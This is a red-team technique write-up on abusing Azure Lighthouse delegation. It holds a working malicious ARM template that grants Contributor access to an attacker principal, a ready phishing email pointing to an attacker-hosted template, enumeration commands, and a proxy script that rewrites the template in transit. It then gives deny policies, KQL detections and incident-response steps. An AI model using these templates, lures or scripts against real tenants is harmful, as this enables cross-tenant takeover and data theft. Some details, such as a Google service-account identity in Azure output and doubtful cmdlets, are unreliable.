| Attribute | Details |
|---|---|
| Technique ID | PE-POLICY-004 |
| MITRE ATT&CK v18.1 | T1484.001 (Domain Policy Modification) |
| Tactic | Privilege Escalation |
| Platforms | Entra ID / Azure Resource Manager |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All Azure subscriptions with Lighthouse (2016+) |
| Patched In | N/A - Design limitation, mitigations available |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Lighthouse enables cross-tenant resource delegation through a managed services model. An attacker can abuse this feature by either (1) compromising an existing Lighthouse delegation template and triggering the victim administrator to accept a malicious delegation request, or (2) intercepting/modifying the delegation authorization ARM template before deployment in the customer tenant. The attacker then gains persistent, delegated access to the customer’s Azure resources under a predefined RBAC role (typically Contributor or higher). This technique bypasses traditional role-based access controls by operating at the management plane and can enable lateral movement into the customer’s infrastructure, data exfiltration, or deployment of backdoors.
Attack Surface: Azure Lighthouse registration definitions and delegated resource management assignments at the subscription or resource group scope. The attack targets the administrative approval workflow and ARM template deployment process.
Business Impact: Complete control over customer Azure resources with persistent cross-tenant access. An attacker can enumerate, modify, delete, or exfiltrate data from customer subscriptions without appearing as a direct user in the customer’s audit logs (activity appears under the delegated service provider’s identity). This enables supply chain attacks, nation-state persistence mechanisms, and large-scale data breaches affecting multiple customers simultaneously.
Technical Context: Delegation requests can be accepted by any user with Contributor+ permissions on the target subscription. The attacker’s account persists in the customer tenant as a “service provider” with no obvious indicators of compromise in most Azure monitoring solutions. Time-to-detection is typically 30+ days if the attacker operates silently. Reversibility is poor—removing the delegation requires knowledge of the delegation ID and explicit revocation by the customer.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | Azure Foundations 4.1 | Ensure that ‘Managed identity’ is used for Azure resources |
| DISA STIG | SRG-APP-000245-SYS-001008 | Application must enforce the use of mutual TLS/SSL for client and server communications |
| CISA SCuBA | EXO-1 | Ensure multi-factor authentication is required for all users in all cloud apps |
| NIST 800-53 | AC-2, AC-3, AC-6 | Account Management, Access Enforcement, Least Privilege |
| GDPR | Art. 32 | Security of Processing – access controls and delegation auditing |
| DORA | Art. 9 | Protection and Prevention – security measures for ICT infrastructure |
| NIS2 | Art. 21 | Cyber Risk Management Measures – access control and authorization |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights – delegation and role assignment |
| ISO 27005 | Risk Scenario | Compromise of privileged administrative access through delegated permissions |
Supported Versions: All Azure subscriptions with Lighthouse enabled
Objective: Identify organizations using Lighthouse and obtain their Azure tenant IDs and subscription IDs.
Command:
# Enumerate public Azure AD tenants via Graph API (no auth required for basic enumeration)
# Using tenant discovery endpoint
$TenantId = "tenant-id-here"
$Endpoint = "https://login.microsoftonline.com/${TenantId}/.well-known/openid-configuration"
Invoke-WebRequest -Uri $Endpoint | Select-Object -ExpandProperty Content
# Alternative: Check for delegated access via subdomain enumeration
$SubdomainList = @(
"manage-lighthouse",
"delegated-resource",
"service-provider-portal"
)
foreach ($subdomain in $SubdomainList) {
try {
$Response = Invoke-WebRequest -Uri "https://${subdomain}.azurewebsites.net" -ErrorAction SilentlyContinue
Write-Host "Found: ${subdomain}"
} catch {
# Domain not found
}
}
Expected Output:
Successful subdomain resolution to Azure services indicates Lighthouse delegation endpoints
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Create a custom ARM template that registers a malicious managed services delegation with overprivileged roles.
Command:
# Create a malicious Lighthouse registration definition ARM template
$ManagedServicesDefinition = @{
"type" = "Microsoft.ManagedServices/registrationDefinitions"
"apiVersion" = "2020-02-01-preview"
"name" = "[concat(subscription().id, '/mspDelegation')]"
"properties" = @{
"registrationDefinitionProperties" = @{
"description" = "Legitimate MSP security management delegation"
"authorizations" = @(
@{
"principalId" = "ATTACKER-SERVICE-PRINCIPAL-ID"
"principalIdDisplayName" = "Trusted Security Partner"
"roleDefinitionId" = "/subscriptions/{subscription}/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c" # Contributor role
},
@{
"principalId" = "ATTACKER-SERVICE-PRINCIPAL-ID"
"principalIdDisplayName" = "Trusted Security Partner"
"roleDefinitionId" = "/subscriptions/{subscription}/providers/Microsoft.Authorization/roleDefinitions/acdd72a7-3385-48ef-bd42-f606fba81ae7" # Reader role for cover
}
)
}
}
}
# Export template to JSON
$TemplateJson = ConvertTo-Json -InputObject $ManagedServicesDefinition -Depth 10
Set-Content -Path "C:\temp\malicious_lighthouse_template.json" -Value $TemplateJson
Write-Host "Template created. Tailored to target subscription and service principal."
Command (Server 2022+ / Azure Cloud Shell):
# Bash alternative using Azure CLI
cat > /tmp/lighthouse_template.json <<EOF
{
"type": "Microsoft.ManagedServices/registrationDefinitions",
"apiVersion": "2020-02-01-preview",
"name": "[concat(subscription().id, '/mspDelegation')]",
"properties": {
"registrationDefinitionProperties": {
"description": "Legitimate MSP security management delegation",
"authorizations": [
{
"principalId": "ATTACKER-SERVICE-PRINCIPAL-ID",
"principalIdDisplayName": "Trusted Security Partner",
"roleDefinitionId": "/subscriptions/{subscription}/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c"
}
]
}
}
}
EOF
cat /tmp/lighthouse_template.json
Expected Output:
Template stored as valid JSON. No immediate errors.
What This Means:
OpSec & Evasion:
Version Note: ARM template syntax is consistent across all Azure versions (2016+).
Troubleshooting:
Get-AzADServicePrincipal -DisplayName "AttackerApp" | Select-Object -ExpandProperty IdGet-AzRoleDefinition | Select-Object -Property Name, Id | Format-TableReferences & Proofs:
Objective: Trick a victim administrator into accepting the malicious Lighthouse delegation.
Command:
# Create a sophisticated phishing email with ARM template link
$PhishingEmail = @"
Subject: [ACTION REQUIRED] Critical Security Patch - Lighthouse Delegation Update
Body:
Dear Azure Administrator,
We are your MSP security partner, and we have identified a critical vulnerability in your Azure environment. To remediate this issue, we need temporary elevated permissions on your Azure subscription.
Please click the link below to accept our security delegation:
https://portal.azure.com/#create/Microsoft.Template/uri/{BASE64_ENCODED_TEMPLATE_URL}
This delegation will:
✓ Enable real-time threat monitoring
✓ Deploy advanced DDoS protection
✓ Implement automated patching
✓ Provide 24/7 security operations
The delegation will expire automatically after 30 days.
Authorization Code: ABC-123-DEF-456
Best regards,
Security Operations Team
MSP Partner Name
Contact: support@{spoofed-msp-domain}.com
"@
# Alternative: Host template on attacker-controlled domain
$TemplateUrl = "https://attacker-msp-domain.com/templates/lighthouse_security_patch_v1.json"
$EncodedUrl = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($TemplateUrl))
Write-Host "Phishing URL: https://portal.azure.com/#create/Microsoft.Template/uri/$EncodedUrl"
Expected Output:
Portal link ready for delivery to target administrator
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Confirm that the Lighthouse delegation has been successfully activated and verify attacker access to customer resources.
Command:
# Connect to target customer tenant using delegated credentials
Connect-AzAccount -Tenant "CUSTOMER-TENANT-ID" -ServicePrincipal `
-Credential $SpCredential `
-SubscriptionId "CUSTOMER-SUBSCRIPTION-ID"
# List resources accessible via Lighthouse delegation
Get-AzResource -WarningAction SilentlyContinue | Format-Table Name, ResourceType, ResourceGroup
# Verify identity is service provider (not direct user)
$Context = Get-AzContext
Write-Host "Authenticated as: $($Context.Account.Id)"
Write-Host "Account Type: $($Context.Account.Type)"
# List all available subscriptions via Lighthouse (credential forwarding)
Get-AzSubscription | Format-Table -Property Name, Id, TenantId, State
Command (Server 2022+):
# Azure CLI equivalent
az login --service-principal -u $CLIENT_ID -p $CLIENT_SECRET --tenant $CUSTOMER_TENANT_ID
# List delegated resources
az managedservices assignment list --scope "/subscriptions/$CUSTOMER_SUBSCRIPTION_ID"
# Enumerate customer resources
az resource list --subscription $CUSTOMER_SUBSCRIPTION_ID --output table
Expected Output:
Authenticated as: https://iam.gserviceaccount.com/attacker-sp@contoso.iam.gserviceaccount.com
Account Type: ServicePrincipal
Name ResourceType
---- --------
production-vm-01 Microsoft.Compute/virtualMachines
customer-keyvault-prod Microsoft.KeyVault/vaults
app-insights-instance Microsoft.Insights/components
...
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: All Azure subscriptions
Objective: Modify the Lighthouse delegation ARM template before it reaches the customer’s Azure Portal.
Command:
# Deploy rogue proxy to intercept customer's portal requests
# This requires network access (e.g., via compromised router or DNS poisoning)
$ProxyScript = @"
function Intercept-LighthouseTemplate {
param(
[string]$InterceptedUrl
)
# Parse the template URL
$TemplateJson = [System.Web.HttpUtility]::UrlDecode($InterceptedUrl.Split('uri=')[1])
# Decode Base64 if necessary
$DecodedTemplate = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($TemplateJson))
# Parse JSON
$TemplateObject = ConvertFrom-Json $DecodedTemplate
# Inject attacker's service principal into authorizations
$AttackerAuth = @{
"principalId" = "ATTACKER-OBJECT-ID"
"principalIdDisplayName" = "MSP Security Partner"
"roleDefinitionId" = "/subscriptions/{subscription}/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c"
}
$TemplateObject.properties.registrationDefinitionProperties.authorizations += $AttackerAuth
# Re-encode and return
$ModifiedTemplate = ConvertTo-Json $TemplateObject -Depth 10
$EncodedModified = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($ModifiedTemplate))
return $EncodedModified
}
# Usage: Intercept portal requests at network level
Intercept-LighthouseTemplate -InterceptedUrl "https://portal.azure.com/#create/Microsoft.Template/uri=..."
"@
Write-Host "Proxy script ready for deployment on compromised network appliance"
Expected Output:
Modified Base64-encoded template prepared
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Restrict Lighthouse Delegations to Managed Identities Only: Enable a policy that only allows Lighthouse delegations to managed identities (user-assigned or system-assigned), never to external service principals. This eliminates the attack vector of unauthorized external principal registration.
Applies To Versions: All Azure (2020+)
Manual Steps (PowerShell):
# Create custom Azure Policy to block non-managed-identity Lighthouse delegations
$PolicyDefinition = @{
"name" = "Restrict-Lighthouse-to-ManagedIdentity"
"properties" = @{
"displayName" = "Restrict Lighthouse delegations to managed identities only"
"description" = "Enforce that only managed identities can be principals in Lighthouse delegations"
"mode" = "All"
"policyRule" = @{
"if" = @{
"allOf" = @(
@{"field" = "type"; "equals" = "Microsoft.ManagedServices/registrationDefinitions"},
@{
"count" = @{
"field" = "Microsoft.ManagedServices/registrationDefinitions/properties/registrationDefinitionProperties/authorizations[*]"
"where" = @{
"field" = "Microsoft.ManagedServices/registrationDefinitions/properties/registrationDefinitionProperties/authorizations[*].principalId"
"notContains" = "/subscriptions"
}
}
"greater" = 0
}
)
}
"then" = @{
"effect" = "Deny"
}
}
}
}
# Deploy policy
New-AzPolicyDefinition -Name $PolicyDefinition.name `
-DisplayName $PolicyDefinition.properties.displayName `
-Policy (ConvertTo-Json -InputObject $PolicyDefinition.properties.policyRule -Depth 10)
Validation Command:
# Verify policy is active
Get-AzPolicyDefinition -Name "Restrict-Lighthouse-to-ManagedIdentity" | Select-Object -ExpandProperty Properties | Select-Object DisplayName, Mode
Implement Lighthouse Delegations with PIM (Privileged Identity Management) Enabled: Require just-in-time (JIT) approval for all Lighthouse delegations, with time-limited access (max 1-8 hours). This ensures that delegations expire automatically and require repeated approval.
Manual Steps (Azure Portal):
Validation Command:
# List PIM-eligible role assignments
Get-AzPIMEligibleRoleAssignment -Scope "/subscriptions/{subscription-id}" | Format-Table DisplayName, ExpirationTime
Monitor and Alert on All Lighthouse Delegations: Implement continuous monitoring of all Lighthouse registration definitions and assignments. Alert when new delegations are created or modified.
Manual Steps (Azure Portal):
Require Conditional Access Policies for Lighthouse Approvals: Enforce multi-factor authentication, compliant device, and specific network location requirements for administrators who can approve Lighthouse delegations.
Manual Steps (Azure Portal):
Block Lighthouse Delegation Approval from Risky LocationsDisable Lighthouse Delegations by Default: Organizations should require explicit opt-in for Lighthouse delegations rather than allowing them by default. Implement a policy at the management group level to disable Lighthouse until explicitly enabled per subscription.
Manual Steps (PowerShell):
# Deny all Lighthouse delegations unless explicitly approved
$DenyPolicy = @{
"name" = "Deny-Unapproved-Lighthouse"
"properties" = @{
"displayName" = "Deny unapproved Lighthouse delegations"
"policyRule" = @{
"if" = @{"field" = "type"; "equals" = "Microsoft.ManagedServices/registrationDefinitions"}
"then" = @{"effect" = "Deny"}
}
}
}
New-AzPolicyDefinition @DenyPolicy | New-AzPolicyAssignment -Name "DenyUnapprovedLighthouse" -Scope "/subscriptions/{subscription-id}"
Audit Trail for Delegation Acceptance: Ensure that all Lighthouse delegation acceptances are logged with administrator identity and timestamp. Implement immutable audit logs.
Manual Steps (Azure Portal):
Virtual Machine Contributor (if only VM management needed)Reader (for monitoring/compliance only)Network Contributor (for network management only)Never use Owner or User Access Administrator in Lighthouse delegations.
This technique does not have a direct Atomic Red Team test due to its highly specific cloud service nature and requirement for legitimate service provider infrastructure. However, blue teams can simulate the attack using the following lab scenario:
Lab Simulation:
Microsoft.ManagedServices/registrationDefinitions/writeMicrosoft.ManagedServices/registrationAssignments/writeAzureActivity table in Log Analytics / SentinelManagedServiceRegistrationDefinitionWrite, ManagedServiceRegistrationAssignmentWriteCaller field)Query 1: Detect New Lighthouse Delegations
AzureActivity
| where OperationName == "Create or Update Managed Services Registration Definition"
| where ActivityStatus == "Success"
| summarize Count = count() by CallerIpAddress, Caller, TimeGenerated
| where Count > 1 or TimeGenerated > ago(7d) // New delegations in past week
Query 2: Detect Cross-Tenant Resource Access via Delegations
AzureActivity
| where ResourceProvider == "Microsoft.Resources"
| where CallerIpAddress != "127.0.0.1"
| where Caller contains "@serviceprincipals" // Service principal activity
| where OperationName in ("Read", "Write", "Delete")
| summarize ActivityCount = count() by ResourceGroup, Caller, OperationName
| where ActivityCount > 50 // Threshold for suspicious bulk access
Query 3: Detect Lighthouse Delegations to Unknown Service Providers
AzureActivity
| where OperationName == "Create or Update Managed Services Registration Definition"
| extend AuthorizedPrincipal = tostring(parse_json(Authorization).principalId)
| where AuthorizedPrincipal !in ("APPROVED-SP-ID-1", "APPROVED-SP-ID-2") // Whitelist known MSPs
| project TimeGenerated, Caller, AuthorizedPrincipal, OperationName, ResourceGroup
# Revoke the malicious Lighthouse delegation
$RegistrationAssignmentId = "/subscriptions/{subscription-id}/providers/Microsoft.ManagedServices/registrationAssignments/{assignment-id}"
Remove-AzManagedServicesAssignment -InputObject $RegistrationAssignmentId -Confirm:$false
# Export all Lighthouse delegations
Get-AzManagedServicesDefinition -Scope "/subscriptions/{subscription-id}" | Export-Csv -Path "C:\Evidence\Lighthouse_Delegations.csv"
# Export Azure Activity logs
$LogsPath = "C:\Evidence\Azure_Activity_Logs_$(Get-Date -Format 'yyyyMMdd').json"
Get-AzLog -StartTime (Get-Date).AddDays(-30) -ResourceId "/subscriptions/{subscription-id}" | ConvertTo-Json | Out-File $LogsPath
# Change credentials of all privileged accounts (assume service principal was compromised)
# Reset Global Admin password
Update-MgUser -UserId "admin@tenant.onmicrosoft.com" -PasswordProfile @{"ForceChangePasswordNextSignIn"=$true}
# Revoke all active sessions
Revoke-AzAccessToken -Confirm:$false
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | REC-CLOUD-005 | Enumerate Azure subscriptions and MSP relationships via Azure Resource Graph |
| 2 | Initial Access | IA-PHISH-001 | Device code phishing to compromise admin account |
| 3 | Privilege Escalation | [PE-POLICY-004] | Azure Lighthouse Delegation Abuse |
| 4 | Persistence | PE-ACCTMGMT-001 | App Registration Permissions Escalation via delegated service principal |
| 5 | Defense Evasion | DE-LOG-001 | Disable Azure Activity logging to cover tracks |
| 6 | Exfiltration | EXF-DATA-001 | Access customer data via delegated subscription permissions |
Azure Lighthouse Delegation Abuse is a critical privilege escalation vector in cloud environments where multiple organizations rely on delegated management. The technique’s power lies in its legitimacy—delegated access is a standard feature, making it difficult to distinguish malicious delegations from legitimate ones without robust monitoring and governance policies. Organizations should treat Lighthouse delegations as high-risk permissions requiring the same level of oversight as Global Admin assignments.